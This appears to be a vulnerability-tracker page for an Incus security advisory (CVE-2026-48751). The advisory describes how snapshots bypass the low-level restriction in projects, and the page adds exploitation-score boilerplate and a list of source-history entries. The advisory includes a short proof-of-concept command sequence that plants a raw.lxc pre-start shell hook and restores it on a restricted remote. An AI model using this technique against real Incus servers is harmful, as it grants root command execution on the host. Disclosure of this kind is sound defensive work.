No access to your tenant or devices. Every item links to its source. What this means
Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. Version 7.2.0 patches the issue.
Read the publisher's advisoryIncus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. Version 7.2.0 patches the issue.
Read the publisher's advisoryIncus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. Version 7.2.0 patches the issue.
Read the publisher's advisory### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.
Read the publisher's advisoryIncus has a restricted project bypass leading to arbitrary command execution in github.com/lxc/incus
Read the publisher's advisoryCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
Compare earlier KEV listings and daily EPSS scores. Advisory wording and affected versions have a separate history.
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Other daily score changes remain in this history.
See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
nvd · CVE-2026-48751 · Published
osv · GHSA-48q5-w887-33wv · Published
cve-program · CVE-2026-48751 · Published
osv · GHSA-48q5-w887-33wv · Published
cve-program · CVE-2026-48751 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
euvd · EUVD-2026-63978 · Published
nvd · CVE-2026-48751 · Published
osv · GHSA-48q5-w887-33wv · Published
osv · GO-2026-5799 · Published
cve-program · CVE-2026-48751 · Published